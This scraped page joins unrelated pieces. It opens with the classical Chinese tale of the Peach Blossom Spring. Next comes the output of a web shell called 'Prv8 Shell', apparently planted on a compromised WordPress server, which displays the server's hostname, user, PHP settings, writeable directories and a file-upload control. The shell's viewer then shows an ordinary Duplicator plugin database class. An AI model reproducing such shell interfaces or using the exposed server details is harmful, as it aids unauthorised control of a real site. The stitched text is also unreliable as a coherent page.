晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/duplicator/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/plugins/duplicator/classes/class.db.php
<?php
defined('ABSPATH') || defined('DUPXABSPATH') || exit;
/**
 * Lightweight abstraction layer for common simple database routines
 *
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2
 *
 * @package Duplicator
 * @subpackage classes/utilities
 * @copyright (c) 2017, Snapcreek LLC
 *
 */
// Exit if accessed directly
if (!defined('DUPLICATOR_VERSION')) exit;

class DUP_DB extends wpdb
{
	public static $remove_placeholder_escape_exists = null;

	public static function init()
	{
		global $wpdb;
		self::$remove_placeholder_escape_exists = method_exists($wpdb, 'remove_placeholder_escape');
	}

	/**
	 * Get the requested MySQL system variable
	 *
	 * @param string $name The database variable name to lookup
	 *
	 * @return string the server variable to query for
	 */
	public static function getVariable($name)
	{
		global $wpdb;
		if (strlen($name)) {
			$row = $wpdb->get_row("SHOW VARIABLES LIKE '{$name}'", ARRAY_N);
			return isset($row[1]) ? $row[1] : null;
		} else {
			return null;
		}
	}

	/**
	 * Gets the MySQL database version number
	 *
	 * @param bool $full    True:  Gets the full version
	 *                      False: Gets only the numeric portion i.e. 5.5.6 or 10.1.2 (for MariaDB)
	 *
	 * @return false|string 0 on failure, version number on success
	 */
	public static function getVersion($full = false)
	{
		global $wpdb;

		if ($full) {
			$version = self::getVariable('version');
		} else {
			$version = preg_replace('/[^0-9.].*/', '', self::getVariable('version'));
		}

		//Fall-back for servers that have restricted SQL for SHOW statement
		if (empty($version)) {
			$version = $wpdb->db_version();
		}

		return empty($version) ? 0 : $version;
	}

	/**
	 * Try to return the mysqldump path on Windows servers
	 *
	 * @return boolean|string
	 */
	public static function getWindowsMySqlDumpRealPath()
	{
		if (function_exists('php_ini_loaded_file')) {
			$get_php_ini_path = php_ini_loaded_file();
			if (file_exists($get_php_ini_path)) {
				$search = array(
					dirname(dirname($get_php_ini_path)).'/mysql/bin/mysqldump.exe',
					dirname(dirname(dirname($get_php_ini_path))).'/mysql/bin/mysqldump.exe',
					dirname(dirname($get_php_ini_path)).'/mysql/bin/mysqldump',
					dirname(dirname(dirname($get_php_ini_path))).'/mysql/bin/mysqldump',
				);

				foreach ($search as $mysqldump) {
					if (file_exists($mysqldump)) {
						return str_replace("\\", "/", $mysqldump);
					}
				}
			}
		}

		unset($search);
		unset($get_php_ini_path);

		return false;
	}

    /**
     * Returns the correct database build mode PHP, MYSQLDUMP, PHPCHUNKING
     *
     * @return string	Returns a string with one of theses three values PHP, MYSQLDUMP, PHPCHUNKING
     */
    public static function getBuildMode()
    {
        $package_mysqldump = DUP_Settings::Get('package_mysqldump');
        $mysqlDumpPath     = DUP_DB::getMySqlDumpPath();

        return ($mysqlDumpPath && $package_mysqldump) ? 'MYSQLDUMP' : 'PHP';
    }

    /**
     * Returns the mysqldump path if the server is enabled to execute it otherwise false
     *
     * @return boolean|string
     */
    public static function getMySqlDumpPath()
    {
        //Is shell_exec possible
        if (!DUP_Util::hasShellExec()) {
            return false;
        }

        $custom_mysqldump_path = DUP_Settings::Get('package_mysqldump_path');
        $custom_mysqldump_path = (strlen($custom_mysqldump_path)) ? $custom_mysqldump_path : '';

        //Common Windows Paths
        if (DUP_Util::isWindows()) {
            $paths = array(
                $custom_mysqldump_path,
                'mysqldump.exe',
                self::getWindowsMySqlDumpRealPath(),
                'C:/xampp/mysql/bin/mysqldump.exe',
                'C:/Program Files/xampp/mysql/bin/mysqldump',
                'C:/Program Files/MySQL/MySQL Server 6.0/bin/mysqldump',
                'C:/Program Files/MySQL/MySQL Server 5.5/bin/mysqldump',
                'C:/Program Files/MySQL/MySQL Server 5.4/bin/mysqldump'
            );

            //Common Linux Paths
        } else {
            $paths = array(
                $custom_mysqldump_path,
                'mysqldump',
                '/usr/local/bin/mysqldump',
                '/usr/local/mysql/bin/mysqldump',
                '/usr/mysql/bin/mysqldump',
                '/usr/bin/mysqldump',
                '/opt/local/lib/mysql6/bin/mysqldump',
				'/opt/local/lib/mysql5/bin/mysqldump',
				'/usr/bin/mysqldump',
            );
        }

		$exec_available = function_exists('exec');
        foreach ($paths as $path) {
			if (@file_exists($path)) {
				if (DUP_Util::isExecutable($path)) {
					return $path;
				}
			} elseif ($exec_available) {
				$out = array();
				$rc  = -1;
				$cmd = $path . ' --help';
				@exec($cmd, $out, $rc);
				if ($rc === 0) {
					return $path;
				}
			}
        }

        return false;
    }

    /**
     * Returns all collation types that are assigned to the tables in
	 * the current database.  Each element in the array is unique
	 *
	 * @param array $excludeTables A list of tables to exclude from the search
	 *
     * @return array	Returns an array with all the collation types being used
     */
	public static function getTableCollationList($excludeTables)
	{
		global $wpdb;
		$collations = array();

		try {
			$query = $wpdb->get_results("SHOW TABLE STATUS FROM `{$wpdb->dbname}`");

			foreach($query  as $key => $row) {
				if (! in_array($row->Name, $excludeTables)) {
					if (! empty($row->Collation))
						$collations[] = $row->Collation;
				}
			}
			
			$collations = array_unique($collations, SORT_STRING);
			$collations = array_values($collations);
			return $collations;
			
		} catch (Exception $ex) {
			return $collations;
		}
	}

	/**
	 * Returns an escaped SQL string
	 *
	 * @param string	$sql						The SQL to escape
	 * @param bool		$removePlaceholderEscape	Patch for how the default WP function works.
	 *
	 * @return boolean|string
	 * @also see: https://make.wordpress.org/core/2017/10/31/changed-behaviour-of-esc_sql-in-wordpress-4-8-3/
	 */
	public static function escSQL($sql, $removePlaceholderEscape = false)
	{
		global $wpdb;

		$removePlaceholderEscape = $removePlaceholderEscape && self::$remove_placeholder_escape_exists;

		if ($removePlaceholderEscape) {
			return $wpdb->remove_placeholder_escape(@esc_sql($sql));
		} else {
			return @esc_sql($sql);
		}
	}
    
     /**
     * this function escape sql string without add and remove remove_placeholder_escape
     * don't work on array
     *
     * @global type $wpdb
     * @param mixed $sql
     * @return string
     */
    public static function escValueToQueryString($value)
    {
        global $wpdb;

        if (is_null($value)) {
            return 'NULL';
        }

        if ($wpdb->use_mysqli) {
            return '"'.mysqli_real_escape_string($wpdb->dbh, $value).'"';
        } else {
            return '"'.mysql_real_escape_string($value, $wpdb->dbh).'"';
        }
    }
}

haha - 2025